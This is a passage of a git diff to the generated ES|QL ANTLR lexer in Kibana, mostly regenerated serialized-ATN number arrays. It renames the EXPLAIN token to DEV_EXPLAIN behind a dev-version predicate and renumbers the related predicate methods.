1, 0, 0, 0, 1536, 1537, 3, 218, 101, 0, 1537, 1538, 1, 0, 0, 0, 1538, 1539, 6, 177, 34, 0, 1539, 371, 1, 0, 0, 0, 1540, 1541, 3, 300, 142, 0, 1541, 1542, 1, 0, 0, 0, 1542, 1543, 6, 178, 21, 0, 1543, 373, 1, 0, 0, 0, 1544, 1545, 3, 304, 144, 0, 1545, 1546, 1, 0, 0, 0, 1546, 1547, 6, 179, 20, 0, 1547, 375, 1, 0, 0, 0, 1548, 1549, 3, 16, 0, 0, 1549, 1550, 1, 0, 0, 0, 1550, 1551, 6, 180, 0, 0, 1551, 377, 1, 0, 0, 0, 1552, 1553, 3, 18, 1, 0, 1553, 1554, 1, 0, 0, 0, 1554, 1555, 6, 181, 0, 0, 1555, 379, 1, 0, 0, 0, 1556, 1557, 3, 20, 2, 0, 1557, 1558, 1, 0, 0, 0, 1558, 1559, 6, 182, 0, 0, 1559, 381, 1, 0, 0, 0, 1560, 1561, 3, 180, 82, 0, 1561, 1562, 1, 0, 0, 0, 1562, 1563, 6, 183, 13, 0, 1563, 1564, 6, 183, 14, 0, 1564, 383, 1, 0, 0, 0, 1565, 1566, 3, 298, 141, 0, 1566, 1567, 1, 0, 0, 0, 1567, 1568, 6, 184, 15, 0, 1568, 1569, 6, 184, 14, 0, 1569, 1570, 6, 184, 14, 0, 1570, 385, 1, 0, 0, 0, 1571, 1572, 3, 218, 101, 0, 1572, 1573, 1, 0, 0, 0, 1573, 1574, 6, 185, 34, 0, 1574, 387, 1, 0, 0, 0, 1575, 1576, 3, 220, 102, 0, 1576, 1577, 1, 0, 0, 0, 1577, 1578, 6, 186, 19, 0, 1578, 389, 1, 0, 0, 0, 1579, 1580, 3, 224, 104, 0, 1580, 1581, 1, 0, 0, 0, 1581, 1582, 6, 187, 18, 0, 1582, 391, 1, 0, 0, 0, 1583, 1584, 3, 244, 114, 0, 1584, 1585, 1, 0, 0, 0, 1585, 1586, 6, 188, 16, 0, 1586, 1587, 6, 188, 41, 0, 1587, 393, 1, 0, 0, 0, 1588, 1589, 3, 332, 158, 0, 1589, 1590, 1, 0, 0, 0, 1590, 1591, 6, 189, 39, 0, 1591, 395, 1, 0, 0, 0, 1592, 1593, 3, 202, 93, 0, 1593, 1594, 1, 0, 0, 0, 1594, 1595, 6, 190, 40, 0, 1595, 397, 1, 0, 0, 0, 1596, 1597, 3, 16, 0, 0, 1597, 1598, 1, 0, 0, 0, 1598, 1599, 6, 191, 0, 0, 1599, 399, 1, 0, 0, 0, 1600, 1601, 3, 18, 1, 0, 1601, 1602, 1, 0, 0, 0, 1602, 1603, 6, 192, 0, 0, 1603, 401, 1, 0, 0, 0, 1604, 1605, 3, 20, 2, 0, 1605, 1606, 1, 0, 0, 0, 1606, 1607, 6, 193, 0, 0, 1607, 403, 1, 0, 0, 0, 1608, 1609, 3, 180, 82, 0, 1609, 1610, 1, 0, 0, 0, 1610, 1611, 6, 194, 13, 0, 1611, 1612, 6, 194, 14, 0, 1612, 1613, 6, 194, 14, 0, 1613, 405, 1, 0, 0, 0, 1614, 1615, 3, 298, 141, 0, 1615, 1616, 1, 0, 0, 0, 1616, 1617, 6, 195, 15, 0, 1617, 1618, 6, 195, 14, 0, 1618, 1619, 6, 195, 14, 0, 1619, 1620, 6, 195, 14, 0, 1620, 407, 1, 0, 0, 0, 1621, 1622, 3, 220, 102, 0, 1622, 1623, 1, 0, 0, 0, 1623, 1624, 6, 196, 19, 0, 1624, 409, 1, 0, 0, 0, 1625, 1626, 3, 224, 104, 0, 1626, 1627, 1, 0, 0, 0, 1627, 1628, 6, 197, 18, 0, 1628, 411, 1, 0, 0, 0, 1629, 1630, 3, 464, 224, 0, 1630, 1631, 1, 0, 0, 0, 1631, 1632, 6, 198, 28, 0, 1632, 413, 1, 0, 0, 0, 1633, 1634, 3, 16, 0, 0, 1634, 1635, 1, 0, 0, 0, 1635, 1636, 6, 199, 0, 0, 1636, 415, 1, 0, 0, 0, 1637, 1638, 3, 18, 1, 0, 1638, 1639, 1, 0, 0, 0, 1639, 1640, 6, 200, 0, 0, 1640, 417, 1, 0, 0, 0, 1641, 1642, 3, 20, 2, 0, 1642, 1643, 1, 0, 0, 0, 1643, 1644, 6, 201, 0, 0, 1644, 419, 1, 0, 0, 0, 1645, 1646, 3, 180, 82, 0, 1646, 1647, 1, 0, 0, 0, 1647, 1648, 6, 202, 13, 0, 1648, 1649, 6, 202, 14, 0, 1649, 421, 1, 0, 0, 0, 1650, 1651, 3, 298, 141, 0, 1651, 1652, 1, 0, 0, 0, 1652, 1653, 6, 203, 15, 0, 1653, 1654, 6, 203, 14, 0, 1654, 1655, 6, 203, 14, 0, 1655, 423, 1, 0, 0, 0, 1656, 1657, 3, 224, 104, 0, 1657, 1658, 1, 0, 0, 0, 1658, 1659, 6, 204, 18, 0, 1659, 425, 1, 0, 0, 0, 1660, 1661, 3, 248, 116, 0, 1661, 1662, 1, 0, 0, 0, 1662, 1663, 6, 205, 29, 0, 1663, 427, 1, 0, 0, 0, 1664, 1665, 3, 288, 136, 0, 1665, 1666, 1, 0, 0, 0, 1666, 1667, 6, 206, 30, 0, 1667, 429, 1, 0, 0, 0, 1668, 1669, 3, 284, 134, 0, 1669, 1670, 1, 0, 0, 0, 1670, 1671, 6, 207, 31, 0, 1671, 431, 1, 0, 0, 0, 1672, 1673, 3, 290, 137, 0, 1673, 1674, 1, 0, 0, 0, 1674, 1675, 6, 208, 32, 0, 1675, 433, 1, 0, 0, 0, 1676, 1677, 3, 304, 144, 0, 1677, 1678, 1, 0, 0, 0, 1678, 1679, 6, 209, 20, 0, 1679, 435, 1, 0, 0, 0, 1680, 1681, 3, 300, 142, 0, 1681, 1682, 1, 0, 0, 0, 1682, 1683, 6, 210, 21, 0, 1683, 437, 1, 0, 0, 0, 1684, 1685, 3, 16, 0, 0, 1685, 1686, 1, 0, 0, 0, 1686, 1687, 6, 211, 0, 0, 1687, 439, 1, 0, 0, 0, 1688, 1689, 3, 18, 1, 0, 1689, 1690, 1, 0, 0, 0, 1690, 1691, 6, 212, 0, 0, 1691, 441, 1, 0, 0, 0, 1692, 1693, 3, 20, 2, 0, 1693, 1694, 1, 0, 0, 0, 1694, 1695, 6, 213, 0, 0, 1695, 443, 1, 0, 0, 0, 1696, 1697, 3, 180, 82, 0, 1697, 1698, 1, 0, 0, 0, 1698, 1699, 6, 214, 13, 0, 1699, 1700, 6, 214, 14, 0, 1700, 445, 1, 0, 0, 0, 1701, 1702, 3, 298, 141, 0, 1702, 1703, 1, 0, 0, 0, 1703, 1704, 6, 215, 15, 0, 1704, 1705, 6, 215, 14, 0, 1705, 1706, 6, 215, 14, 0, 1706, 447, 1, 0, 0, 0, 1707, 1708, 3, 224, 104, 0, 1708, 1709, 1, 0, 0, 0, 1709, 1710, 6, 216, 18, 0, 1710, 449, 1, 0, 0, 0, 1711, 1712, 3, 220, 102, 0, 1712, 1713, 1, 0, 0, 0, 1713, 1714, 6, 217, 19, 0, 1714, 451, 1, 0, 0, 0, 1715, 1716, 3, 248, 116, 0, 1716, 1717, 1, 0, 0, 0, 1717, 1718, 6, 218, 29, 0, 1718, 453, 1, 0, 0, 0, 1719, 1720, 3, 288, 136, 0, 1720, 1721, 1, 0, 0, 0, 1721, 1722, 6, 219, 30, 0, 1722, 455, 1, 0, 0, 0, 1723, 1724, 3, 284, 134, 0, 1724, 1725, 1, 0, 0, 0, 1725, 1726, 6, 220, 31, 0, 1726, 457, 1, 0, 0, 0, 1727, 1728, 3, 290, 137, 0, 1728, 1729, 1, 0, 0, 0, 1729, 1730, 6, 221, 32, 0, 1730, 459, 1, 0, 0, 0, 1731, 1736, 3, 184, 84, 0, 1732, 1736, 3, 182, 83, 0, 1733, 1736, 3, 198, 91, 0, 1734, 1736, 3, 274, 129, 0, 1735, 1731, 1, 0, 0, 0, 1735, 1732, 1, 0, 0, 0, 1735, 1733, 1, 0, 0, 0, 1735, 1734, 1, 0, 0, 0, 1736, 461, 1, 0, 0, 0, 1737, 1740, 3, 184, 84, 0, 1738, 1740, 3, 274, 129, 0, 1739, 1737, 1, 0, 0, 0, 1739, 1738, 1, 0, 0, 0, 1740, 1744, 1, 0, 0, 0, 1741, 1743, 3, 460, 222, 0, 1742, 1741, 1, 0, 0, 0, 1743, 1746, 1, 0, 0, 0, 1744, 1742, 1, 0, 0, 0, 1744, 1745, 1, 0, 0, 0, 1745, 1757, 1, 0, 0, 0, 1746, 1744, 1, 0, 0, 0, 1747, 1750, 3, 198, 91, 0, 1748, 1750, 3, 192, 88, 0, 1749, 1747, 1, 0, 0, 0, 1749, 1748, 1, 0, 0, 0, 1750, 1752, 1, 0, 0, 0, 1751, 1753, 3, 460, 222, 0, 1752, 1751, 1, 0, 0, 0, 1753, 1754, 1, 0, 0, 0, 1754, 1752, 1, 0, 0, 0, 1754, 1755, 1, 0, 0, 0, 1755, 1757, 1, 0, 0, 0, 1756, 1739, 1, 0, 0, 0, 1756, 1749, 1, 0, 0, 0, 1757, 463, 1, 0, 0, 0, 1758, 1761, 3, 462, 223, 0, 1759, 1761, 3, 302, 143, 0, 1760, 1758, 1, 0, 0, 0, 1760, 1759, 1, 0, 0, 0, 1761, 1762, 1, 0, 0, 0, 1762, 1760, 1, 0, 0, 0, 1762, 1763, 1, 0, 0, 0, 1763, 465, 1, 0, 0, 0, 1764, 1765, 3, 16, 0, 0, 1765, 1766, 1, 0, 0, 0, 1766, 1767, 6, 225, 0, 0, 1767, 467, 1, 0, 0, 0, 1768, 1769, 3, 18, 1, 0, 1769, 1770, 1, 0, 0, 0, 1770, 1771, 6, 226, 0, 0, 1771, 469, 1, 0, 0, 0, 1772, 1773, 3, 20, 2, 0, 1773, 1774, 1, 0, 0, 0, 1774, 1775, 6, 227, 0, 0, 1775, 471, 1, 0, 0, 0, 1776, 1777, 3, 180, 82, 0, 1777, 1778, 1, 0, 0, 0, 1778, 1779, 6, 228, 13, 0, 1779, 1780, 6, 228, 14, 0, 1780, 473, 1, 0, 0, 0, 1781, 1782, 3, 298, 141, 0, 1782, 1783, 1, 0, 0, 0, 1783, 1784, 6, 229, 15, 0, 1784, 1785, 6, 229, 14, 0, 1785, 1786, 6, 229, 14, 0, 1786, 475, 1, 0, 0, 0, 1787, 1788, 3, 212, 98, 0, 1788, 1789, 1, 0, 0, 0, 1789, 1790, 6, 230, 27, 0, 1790, 477, 1, 0, 0, 0, 1791, 1792, 3, 220, 102, 0, 1792, 1793, 1, 0, 0, 0, 1793, 1794, 6, 231, 19, 0, 1794, 479, 1, 0, 0, 0, 1795, 1796, 3, 224, 104, 0, 1796, 1797, 1, 0, 0, 0, 1797, 1798, 6, 232, 18, 0, 1798, 481, 1, 0, 0, 0, 1799, 1800, 3, 248, 116, 0, 1800, 1801, 1, 0, 0, 0, 1801, 1802, 6, 233, 29, 0, 1802, 483, 1, 0, 0, 0, 1803, 1804, 3, 288, 136, 0, 1804, 1805, 1, 0, 0, 0, 1805, 1806, 6, 234, 30, 0, 1806, 485, 1, 0, 0, 0, 1807, 1808, 3, 284, 134, 0, 1808, 1809, 1, 0, 0, 0, 1809, 1810, 6, 235, 31, 0, 1810, 487, 1, 0, 0, 0, 1811, 1812, 3, 290, 137, 0, 1812, 1813, 1, 0, 0, 0, 1813, 1814, 6, 236, 32, 0, 1814, 489, 1, 0, 0, 0, 1815, 1816, 7, 4, 0, 0, 1816, 1817, 7, 17, 0, 0, 1817, 491, 1, 0, 0, 0, 1818, 1819, 3, 464, 224, 0, 1819, 1820, 1, 0, 0, 0, 1820, 1821, 6, 238, 28, 0, 1821, 493, 1, 0, 0, 0, 1822, 1823, 3, 16, 0, 0, 1823, 1824, 1, 0, 0, 0, 1824, 1825, 6, 239, 0, 0, 1825, 495, 1, 0, 0, 0, 1826, 1827, 3, 18, 1, 0, 1827, 1828, 1, 0, 0, 0, 1828, 1829, 6, 240, 0, 0, 1829, 497, 1, 0, 0, 0, 1830, 1831, 3, 20, 2, 0, 1831, 1832, 1, 0, 0, 0, 1832, 1833, 6, 241, 0, 0, 1833, 499, 1, 0, 0, 0, 1834, 1835, 3, 180, 82, 0, 1835, 1836, 1, 0, 0, 0, 1836, 1837, 6, 242, 13, 0, 1837, 1838, 6, 242, 14, 0, 1838, 501, 1, 0, 0, 0, 1839, 1840, 7, 10, 0, 0, 1840, 1841, 7, 5, 0, 0, 1841, 1842, 7, 21, 0, 0, 1842, 1843, 7, 9, 0, 0, 1843, 503, 1, 0, 0, 0, 1844, 1845, 3, 16, 0, 0, 1845, 1846, 1, 0, 0, 0, 1846, 1847, 6, 244, 0, 0, 1847, 505, 1, 0, 0, 0, 1848, 1849, 3, 18, 1, 0, 1849, 1850, 1, 0, 0, 0, 1850, 1851, 6, 245, 0, 0, 1851, 507, 1, 0, 0, 0, 1852, 1853, 3, 20, 2, 0, 1853, 1854, 1, 0, 0, 0, 1854, 1855, 6, 246, 0, 0, 1855, 509, 1, 0, 0, 0, 70, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 516, 520, 523, 532, 534, 545, 822, 904, 908, 913, 1010, 1012, 1063, 1068, 1077, 1084, 1089, 1091, 1102, 1110, 1113, 1115, 1120, 1125, 1131, 1138, 1143, 1149, 1152, 1160, 1164, 1303, 1308, 1315, 1317, 1322, 1327, 1334, 1336, 1362, 1367, 1372, 1374, 1380, 1444, 1449, 1735, 1739, 1744, 1749, 1754, 1756, 1760, 1762, 42, 0, 1, 0, 5, 1, 0, 5, 2, 0, 5, 5, 0, 5, 6, 0, 5, 7, 0, 5, 8, 0, 5, 9, 0, 5, 10, 0, 5, 12, 0, 5, 13, 0, 5, 14, 0, 5, 15, 0, 7, 52, 0, 4, 0, 0, 7, 100, 0, 7, 74, 0, 7, 132, 0, 7, 64, 0, 7, 62, 0, 7, 102, 0, 7, 101, 0, 7, 97, 0, 5, 4, 0, 5, 3, 0, 7, 79, 0, 7, 38, 0, 7, 58, 0, 7, 128, 0, 7, 76, 0, 7, 95, 0, 7, 94, 0, 7, 96, 0, 7, 98, 0, 7, 61, 0, 7, 99, 0, 5, 0, 0, 7, 16, 0, 7, 60, 0, 7, 107, 0, 7, 53, 0, 5, 11, 0] \ No newline at end of file diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.tokens b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.tokens index 4fda06ec34804..05147b18f517e 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.tokens +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.tokens @@ -3,7 +3,7 @@ MULTILINE_COMMENT=2 WS=3 CHANGE_POINT=4 ENRICH=5 -EXPLAIN=6 +DEV_EXPLAIN=6 COMPLETION=7 DISSECT=8 EVAL=9 @@ -139,7 +139,6 @@ SHOW_MULTILINE_COMMENT=138 SHOW_WS=139 'change_point'=4 'enrich'=5 -'explain'=6 'completion'=7 'dissect'=8 'eval'=9 diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.ts b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.ts index 7012e3c04ec98..de25dfc650f99 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.ts @@ -28,7 +28,7 @@ export default class esql_lexer extends lexer_config { public static readonly WS = 3; public static readonly CHANGE_POINT = 4; public static readonly ENRICH = 5; - public static readonly EXPLAIN = 6; + public static readonly DEV_EXPLAIN = 6; public static readonly COMPLETION = 7; public static readonly DISSECT = 8; public static readonly EVAL = 9; @@ -184,8 +184,7 @@ export default class esql_lexer extends lexer_config { null, null, "'change_point'", "'enrich'", - "'explain'", - "'completion'", + null, "'completion'", "'dissect'", "'eval'", "'grok'", "'limit'", "'row'", @@ -256,7 +255,7 @@ export default class esql_lexer extends lexer_config { public static readonly symbolicNames: (string | null)[] = [ null, "LINE_COMMENT", "MULTILINE_COMMENT", "WS", "CHANGE_POINT", - "ENRICH", "EXPLAIN", + "ENRICH", "DEV_EXPLAIN", "COMPLETION", "DISSECT", "EVAL", "GROK", @@ -370,7 +369,7 @@ export default class esql_lexer extends lexer_config { "RENAME_MODE", "SHOW_MODE", ]; public static readonly ruleNames: string[] = [ - "LINE_COMMENT", "MULTILINE_COMMENT", "WS", "CHANGE_POINT", "ENRICH", "EXPLAIN", + "LINE_COMMENT", "MULTILINE_COMMENT", "WS", "CHANGE_POINT", "ENRICH", "DEV_EXPLAIN", "COMPLETION", "DISSECT", "EVAL", "GROK", "LIMIT", "ROW", "SAMPLE", "SORT", "STATS", "WHERE", "DEV_INLINESTATS", "DEV_RERANK", "FROM", "DEV_TIME_SERIES", "FORK", "JOIN_LOOKUP", "DEV_JOIN_FULL", "DEV_JOIN_LEFT", "DEV_JOIN_RIGHT", @@ -387,23 +386,23 @@ export default class esql_lexer extends lexer_config { "ENRICH_FIELD_DOUBLE_PARAMS", "ENRICH_FIELD_NAMED_OR_POSITIONAL_DOUBLE_PARAMS", "ENRICH_FIELD_LINE_COMMENT", "ENRICH_FIELD_MULTILINE_COMMENT", "ENRICH_FIELD_WS", "SETTING_CLOSING_BRACKET", "SETTING_COLON", "SETTING", "SETTING_LINE_COMMENT", - "SETTTING_MULTILINE_COMMENT", "SETTING_WS", "EXPLAIN_OPENING_BRACKET", - "EXPLAIN_PIPE", "EXPLAIN_WS", "EXPLAIN_LINE_COMMENT", "EXPLAIN_MULTILINE_COMMENT", - "PIPE", "DIGIT", "LETTER", "ESCAPE_SEQUENCE", "UNESCAPED_CHARS", "EXPONENT", - "ASPERAND", "BACKQUOTE", "BACKQUOTE_BLOCK", "UNDERSCORE", "UNQUOTED_ID_BODY", - "QUOTED_STRING", "INTEGER_LITERAL", "DECIMAL_LITERAL", "AND", "ASC", "ASSIGN", - "BY", "CAST_OP", "COLON", "COMMA", "DESC", "DOT", "FALSE", "FIRST", "IN", - "IS", "LAST", "LIKE", "NOT", "NULL", "NULLS", "ON", "OR", "PARAM", "RLIKE", - "TRUE", "WITH", "EQ", "CIEQ", "NEQ", "LT", "LTE", "GT", "GTE", "PLUS", - "MINUS", "ASTERISK", "SLASH", "PERCENT", "LEFT_BRACES", "RIGHT_BRACES", - "DOUBLE_PARAMS", "NESTED_WHERE", "NAMED_OR_POSITIONAL_PARAM", "NAMED_OR_POSITIONAL_DOUBLE_PARAMS", + "SETTTING_MULTILINE_COMMENT", "SETTING_WS", "EXPLAIN_LP", "EXPLAIN_PIPE", + "EXPLAIN_WS", "EXPLAIN_LINE_COMMENT", "EXPLAIN_MULTILINE_COMMENT", "PIPE", + "DIGIT", "LETTER", "ESCAPE_SEQUENCE", "UNESCAPED_CHARS", "EXPONENT", "ASPERAND", + "BACKQUOTE", "BACKQUOTE_BLOCK", "UNDERSCORE", "UNQUOTED_ID_BODY", "QUOTED_STRING", + "INTEGER_LITERAL", "DECIMAL_LITERAL", "AND", "ASC", "ASSIGN", "BY", "CAST_OP", + "COLON", "COMMA", "DESC", "DOT", "FALSE", "FIRST", "IN", "IS", "LAST", + "LIKE", "NOT", "NULL", "NULLS", "ON", "OR", "PARAM", "RLIKE", "TRUE", + "WITH", "EQ", "CIEQ", "NEQ", "LT", "LTE", "GT", "GTE", "PLUS", "MINUS", + "ASTERISK", "SLASH", "PERCENT", "LEFT_BRACES", "RIGHT_BRACES", "DOUBLE_PARAMS", + "NESTED_WHERE", "NAMED_OR_POSITIONAL_PARAM", "NAMED_OR_POSITIONAL_DOUBLE_PARAMS", "OPENING_BRACKET", "CLOSING_BRACKET", "LP", "RP", "UNQUOTED_IDENTIFIER", "QUOTED_ID", "QUOTED_IDENTIFIER", "EXPR_LINE_COMMENT", "EXPR_MULTILINE_COMMENT", "EXPR_WS", "FROM_PIPE", "FROM_OPENING_BRACKET", "FROM_CLOSING_BRACKET", "FROM_COLON", "FROM_SELECTOR", "FROM_COMMA", "FROM_ASSIGN", "METADATA", - "UNQUOTED_SOURCE_PART", "UNQUOTED_SOURCE", "FROM_UNQUOTED_SOURCE", "FROM_QUOTED_SOURCE", - "FROM_LINE_COMMENT", "FROM_MULTILINE_COMMENT", "FROM_WS", "FORK_LP", "FORK_RP", - "FORK_PIPE", "FORK_WS", "FORK_LINE_COMMENT", "FORK_MULTILINE_COMMENT", + "FROM_RP", "UNQUOTED_SOURCE_PART", "UNQUOTED_SOURCE", "FROM_UNQUOTED_SOURCE", + "FROM_QUOTED_SOURCE", "FROM_LINE_COMMENT", "FROM_MULTILINE_COMMENT", "FROM_WS", + "FORK_LP", "FORK_RP", "FORK_PIPE", "FORK_WS", "FORK_LINE_COMMENT", "FORK_MULTILINE_COMMENT", "JOIN_PIPE", "JOIN", "JOIN_AS", "JOIN_ON", "USING", "JOIN_UNQUOTED_SOURCE", "JOIN_QUOTED_SOURCE", "JOIN_COLON", "JOIN_UNQUOTED_IDENTIFER", "JOIN_QUOTED_IDENTIFIER", "JOIN_LINE_COMMENT", "JOIN_MULTILINE_COMMENT", "JOIN_WS", "LOOKUP_PIPE", @@ -448,6 +447,8 @@ export default class esql_lexer extends lexer_config { // @Override public sempred(localctx: RuleContext, ruleIndex: number, predIndex: number): boolean { switch (ruleIndex) { + case 5: + return this.DEV_EXPLAIN_sempred(localctx, predIndex); case 16: return this.DEV_INLINESTATS_sempred(localctx, predIndex); case 17: @@ -469,71 +470,78 @@ export default class esql_lexer extends lexer_config { } return true; } - private DEV_INLINESTATS_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_EXPLAIN_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 0: return this.isDevVersion(); } return true; } - private DEV_RERANK_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_INLINESTATS_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 1: return this.isDevVersion(); } return true; } - private DEV_TIME_SERIES_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_RERANK_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 2: return this.isDevVersion(); } return true; } - private DEV_JOIN_FULL_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_TIME_SERIES_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 3: return this.isDevVersion(); } return true; } - private DEV_JOIN_LEFT_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_JOIN_FULL_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 4: return this.isDevVersion(); } return true; } - private DEV_JOIN_RIGHT_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_JOIN_LEFT_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 5: return this.isDevVersion(); } return true; } - private DEV_LOOKUP_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_JOIN_RIGHT_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 6: return this.isDevVersion(); } return true; } - private DEV_INSIST_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_LOOKUP_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 7: return this.isDevVersion(); } return true; } - private DEV_RRF_sempred(localctx: RuleContext, predIndex: number): boolean { + private DEV_INSIST_sempred(localctx: RuleContext, predIndex: number): boolean { switch (predIndex) { case 8: return this.isDevVersion(); } return true; } + private DEV_RRF_sempred(localctx: RuleContext, predIndex: number): boolean { + switch (predIndex) { + case 9: + return this.isDevVersion(); + } + return true; + } - public static readonly _serializedATN: number[] = [4,0,139,1848,6,-1,6, + public static readonly _serializedATN: number[] = [4,0,139,1856,6,-1,6, -1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1,6,-1, 2,0,7,0,2,1,7,1,2,2,7,2,2,3,7,3,2,4,7,4,2,5,7,5,2,6,7,6,2,7,7,7,2,8,7,8, 2,9,7,9,2,10,7,10,2,11,7,11,2,12,7,12,2,13,7,13,2,14,7,14,2,15,7,15,2,16, @@ -572,608 +580,611 @@ export default class esql_lexer extends lexer_config { 2,223,7,223,2,224,7,224,2,225,7,225,2,226,7,226,2,227,7,227,2,228,7,228, 2,229,7,229,2,230,7,230,2,231,7,231,2,232,7,232,2,233,7,233,2,234,7,234, 2,235,7,235,2,236,7,236,2,237,7,237,2,238,7,238,2,239,7,239,2,240,7,240, - 2,241,7,241,2,242,7,242,2,243,7,243,2,244,7,244,2,245,7,245,1,0,1,0,1,0, - 1,0,5,0,513,8,0,10,0,12,0,516,9,0,1,0,3,0,519,8,0,1,0,3,0,522,8,0,1,0,1, - 0,1,1,1,1,1,1,1,1,1,1,5,1,531,8,1,10,1,12,1,534,9,1,1,1,1,1,1,1,1,1,1,1, - 1,2,4,2,542,8,2,11,2,12,2,543,1,2,1,2,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1,3,1, - 3,1,3,1,3,1,3,1,3,1,3,1,3,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,4,1,5,1,5,1, - 5,1,5,1,5,1,5,1,5,1,5,1,5,1,5,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1,6,1, - 6,1,6,1,6,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,8,1,8,1,8,1,8,1,8,1, - 8,1,8,1,9,1,9,1,9,1,9,1,9,1,9,1,9,1,10,1,10,1,10,1,10,1,10,1,10,1,10,1, - 10,1,11,1,11,1,11,1,11,1,11,1,11,1,12,1,12,1,12,1,12,1,12,1,12,1,12,1,12, - 1,12,1,13,1,13,1,13,1,13,1,13,1,13,1,13,1,14,1,14,1,14,1,14,1,14,1,14,1, - 14,1,14,1,15,1,15,1,15,1,15,1,15,1,15,1,15,1,15,1,16,1,16,1,16,1,16,1,16, - 1,16,1,16,1,16,1,16,1,16,1,16,1,16,1,16,1,16,1,16,1,17,1,17,1,17,1,17,1, - 17,1,17,1,17,1,17,1,17,1,17,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,19,1,19, - 1,19,1,19,1,19,1,19,1,20,1,20,1,20,1,20,1,20,1,20,1,20,1,21,1,21,1,21,1, - 21,1,21,1,21,1,21,1,21,1,21,1,22,1,22,1,22,1,22,1,22,1,22,1,22,1,22,1,23, - 1,23,1,23,1,23,1,23,1,23,1,23,1,23,1,24,1,24,1,24,1,24,1,24,1,24,1,24,1, - 24,1,24,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,25,1,26, - 1,26,1,26,1,26,1,26,1,26,1,26,1,26,1,26,1,26,1,26,1,26,1,27,1,27,1,27,1, - 27,1,27,1,27,1,27,1,28,1,28,1,28,1,28,1,28,1,28,1,28,1,29,1,29,1,29,1,29, - 1,29,1,29,1,29,1,29,1,29,1,29,1,29,1,29,1,30,1,30,1,30,1,30,1,30,1,30,1, - 30,1,31,1,31,1,31,1,31,1,31,1,31,1,31,1,31,1,31,1,32,1,32,1,32,1,32,1,32, - 1,32,1,32,1,33,4,33,818,8,33,11,33,12,33,819,1,33,1,33,1,34,1,34,1,34,1, - 34,1,34,1,35,1,35,1,35,1,35,1,35,1,35,1,36,1,36,1,36,1,36,1,37,1,37,1,37, - 1,37,1,38,1,38,1,38,1,38,1,39,1,39,1,39,1,39,1,40,1,40,1,40,1,40,1,41,1, - 41,1,41,1,41,1,42,1,42,1,42,1,42,1,43,1,43,1,43,1,43,1,44,1,44,1,44,1,44, - 1,45,1,45,1,45,1,45,1,45,1,46,1,46,1,46,1,46,1,46,1,46,1,47,1,47,1,47,1, - 47,1,47,1,48,1,48,1,48,1,48,1,48,1,49,1,49,1,49,1,49,1,49,1,50,1,50,1,51, - 4,51,900,8,51,11,51,12,51,901,1,51,1,51,3,51,906,8,51,1,51,4,51,909,8,51, - 11,51,12,51,910,1,52,1,52,1,52,1,52,1,53,1,53,1,53,1,53,1,54,1,54,1,54, - 1,54,1,55,1,55,1,55,1,55,1,56,1,56,1,56,1,56,1,56,1,56,1,57,1,57,1,57,1, - 57,1,57,1,57,1,57,1,58,1,58,1,58,1,58,1,59,1,59,1,59,1,59,1,60,1,60,1,60, - 1,60,1,61,1,61,1,61,1,61,1,62,1,62,1,62,1,62,1,63,1,63,1,63,1,63,1,64,1, - 64,1,64,1,64,1,65,1,65,1,65,1,65,1,66,1,66,1,66,1,66,1,67,1,67,1,67,1,67, - 1,68,1,68,1,68,1,68,1,69,1,69,1,69,1,69,1,70,1,70,1,70,1,70,1,71,1,71,1, - 71,1,71,1,71,1,72,1,72,1,72,1,72,1,73,1,73,1,73,1,73,1,73,4,73,1008,8,73, - 11,73,12,73,1009,1,74,1,74,1,74,1,74,1,75,1,75,1,75,1,75,1,76,1,76,1,76, - 1,76,1,77,1,77,1,77,1,77,1,77,1,78,1,78,1,78,1,78,1,78,1,79,1,79,1,79,1, - 79,1,80,1,80,1,80,1,80,1,81,1,81,1,81,1,81,1,82,1,82,1,82,1,82,1,83,1,83, - 1,84,1,84,1,85,1,85,1,85,1,86,1,86,1,87,1,87,3,87,1061,8,87,1,87,4,87,1064, - 8,87,11,87,12,87,1065,1,88,1,88,1,89,1,89,1,90,1,90,1,90,3,90,1075,8,90, - 1,91,1,91,1,92,1,92,1,92,3,92,1082,8,92,1,93,1,93,1,93,5,93,1087,8,93,10, - 93,12,93,1090,9,93,1,93,1,93,1,93,1,93,1,93,1,93,5,93,1098,8,93,10,93,12, - 93,1101,9,93,1,93,1,93,1,93,1,93,1,93,3,93,1108,8,93,1,93,3,93,1111,8,93, - 